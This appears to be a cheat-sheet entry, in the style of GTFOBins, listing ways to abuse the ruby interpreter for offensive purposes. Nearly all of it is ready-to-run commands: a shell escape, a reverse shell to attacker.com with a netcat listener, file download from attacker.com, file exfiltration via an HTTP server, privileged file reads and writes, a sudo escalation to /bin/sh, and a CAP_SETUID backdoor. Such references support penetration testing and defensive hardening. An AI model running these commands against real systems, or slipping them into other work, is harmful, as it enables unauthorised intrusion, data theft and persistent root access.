Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

ruby -e 'exec "/bin/sh"'

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

Run nc -l -p 12345 on the attacker box to receive the shell.

export RHOST=attacker.com
export RPORT=12345
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

File upload

It can exfiltrate files on the network.

Serve files in the local folder running an HTTP server. This requires version 1.9.2 or later.

export LPORT=8888
ruby -run -e httpd . -p $LPORT

File download

It can download remote files.

Fetch a remote file via HTTP GET request.

export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
ruby -e 'require "open-uri"; download = open(ENV["URL"]); IO.copy_stream(download, ENV["LFILE"])'

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

ruby -e 'File.open("file_to_write", "w+") { |f| f.write("DATA") }'

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

ruby -e 'puts File.read("file_to_read")'

Library load

It loads shared libraries that may be used to run code in the binary execution context.

ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo ruby -e 'exec "/bin/sh"'

Capabilities

If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.

cp $(which ruby) .
sudo setcap cap_setuid+ep ruby

./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'